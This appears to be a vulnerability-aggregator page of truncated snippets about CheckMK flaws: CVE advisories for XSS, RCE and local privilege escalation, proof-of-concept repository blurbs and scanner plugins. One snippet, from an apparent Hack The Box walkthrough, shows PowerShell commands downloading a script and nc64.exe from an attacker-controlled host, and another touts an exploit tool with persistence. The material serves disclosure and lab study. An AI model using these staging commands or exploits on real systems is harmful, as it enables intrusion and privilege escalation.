CVE-2021-40905

CVE-2021-40905 - RCE via a crafted .mkp file Application: CheckMK Management Web Console Software Revision: Less than or equal to 2.0.0p17 Attack type: RCE Solution: TBD or the MKPs shared on https://exchange.checkmk.com/ are manually reviewed by CheckMk and they look for malicious code or...

CVE-2024-0670

CVE-2024-0670 PoC This repository provides a Proof of Concept PoC exploit for the CVE-2024-0670 vulnerability, affecting the CheckMK Agent on Windows systems. The vulnerability occurs when the CheckMK Agent creates and executes temporary files in the C:\Windows\Temp directory. An attacker can abu...

checkmk_cve-2024-0670

checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...

CVE-2024-0670-CheckMK-Agent-Local-Privilege-Escalation-Exploit

CVE-2024-0670 – CheckMK Agent Local Privilege Escalation PoC This repository contains a simple and clean proof-of-concept for CVE-2024-0670, a local privilege escalation vulnerability in the CheckMK Windows Agent. A low-privileged user can gain SYSTEM privileges by abusing writable temp file path...

Fsociety-CVE-2024-0670-CheckMK-LPE

🚀 Fsociety-CVE-2024-0670-CheckMK-LPE - Powerful System Access Made Simple 📦 Overview Hello friend. This tool unlocks advanced access for CheckMK CVE-2024-0670. It takes advantage of weak file handling to gain SYSTEM support. The software includes a specialized persistence feature. It is developed...

checkmk-log4j-scanner

checkmk extension to check for log4j2 CVE-2021-44228 This Plugin wraps around logpresso/CVE-2021-44228-Scanner Apache License 2.0 How it works Run in 5 steps: 1. Find all .jar, .war, .ear, .aar files recursively. 2. Find META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties entry from...

CVE-2021-40906

CVE-2021-40906 - Reflected XSS in an unauthenticated zone Application: CheckMK Management Web Console Software Revision: From 1.5.0 to 1.5.0p25 Author: Edgar Augusto Loyola Torres. Attack type: Reflected XSS Solution: Update to Software Revision 1.6.0p26 or later Summary: CheckMK Raw Edition...

CVE-2021-36563

CVE-2021-36563 – Multiple Stored and Reflected XSS Application: CheckMK Management Web Console Software Revision: From 1.5.0 to 2.0.0p9 Attack type: Stored and Reflected XSS Solution: Update to Software Revision 2.0.0p10 or later Summary: The CheckMK management web console versions 1.5.0 to 2.0.0...

HTB-NanoCorp-CVE-2024-0670

CVE-2024-0670 - CheckMK Agent MSI Repair Privilege Escalation NanoCorp HTB This repository contains a PowerShell script used to exploit CVE-2024-0670 on the NanoCorp machine from Hack The Box. The vulnerability allows a low-privileged user to abuse the CheckMK Windows Agent MSI repair functionali...

checkmk_php2shell

checkmkphp2shell A Checkmk extension that shows, for every PHP installation on a Linux host, whether it is affected by PHP2Shell - the pre-authentication remote code execution vulnerabilities CVE-2026-109618 and CVE-2026-109619 , disclosed and fixed on 2026-10-21 in PHP 8.2.35, 8.3.36, 8.4.27 and...

CVE-2021-40904

CVE-2021-40904 - RCE via CheckMk's Dokuwiki embedded application Application: CheckMK Management Web Console Software Revision: From 1.5.0 to 1.5.0p25 Attack type: RCE Solution: Upgrade to version 1.6 or higher. Summary: The web management console of CheckMk Raw Edition versions 1.5.0 to 1.5.0p25...

CVE-2026-113461

Local privilege escalation in Checkmk 2.5.0p14 allows a local user with write access to the Oracle client library directory of an Oracle home listed in the 'oratab' file or to the 'oratab' file itself to execute code as root if an agent has the 'mk-oracle' plugin enabled...

CVE-2026-113461

A local privilege escalation vulnerability exists in Checkmk 2.5.0p14 when the mk-oracle plugin is enabled on an agent. A local user who possesses write access to the oratab file or the Oracle client library directory of an Oracle home listed within that file can execute arbitrary code as root . ...

EUVD-2026-107474

Local privilege escalation in Checkmk 2.5.0p14 allows a local user with write access to the Oracle client library directory of an Oracle home listed in the 'oratab' file or to the 'oratab' file itself to execute code as root if an agent has the 'mk-oracle' plugin enabled...

CVE-2026-113461 mk-oracle: Local privilege escalation via insecure Oracle Home library loading

Local privilege escalation in Checkmk 2.5.0p14 allows a local user with write access to the Oracle client library directory of an Oracle home listed in the 'oratab' file or to the 'oratab' file itself to execute code as root if an agent has the 'mk-oracle' plugin enabled...

CVE-2026-113461 mk-oracle: Local privilege escalation via insecure Oracle Home library loading

Local privilege escalation in Checkmk 2.5.0p14 allows a local user with write access to the Oracle client library directory of an Oracle home listed in the 'oratab' file or to the 'oratab' file itself to execute code as root if an agent has the 'mk-oracle' plugin enabled...

PT-2026-120769

Name of the Vulnerable Software and Affected Versions Checkmk version 2.5.0p14 Description Local privilege escalation occurs when an agent has the mk-oracle plugin enabled. A local user with write access to the oratab file or the Oracle client library directory of an Oracle home listed in the...

Checkmk permission and access control issues vulnerability

Version 2.5.0p14 of Checkmk contains a security vulnerability. This vulnerability arises when a local user possessing write permissions on the Oracle client library directory containing the Oracle home specified in the ‘oratab’ file, or on the ‘oratab’ file itself, enables the ‘mk-oracle’ plugin ...

CVE-2026-14452

Improper validation of the reseturl parameter of the Setup in-page search in Checkmk 2.5.0p15, 2.4.0p38, 2.3.0p51 and 2.2.0 EOL allows an attacker to execute arbitrary script in the session of an authenticated user with Setup access, or to redirect that user to an arbitrary external site, by...

CVE-2026-14452

Improper validation of the reseturl parameter of the Setup in-page search in Checkmk 2.5.0p15, 2.4.0p38, 2.3.0p51 and 2.2.0 EOL allows an attacker to execute arbitrary script in the session of an authenticated user with Setup access, or to redirect that user to an arbitrary external site, by...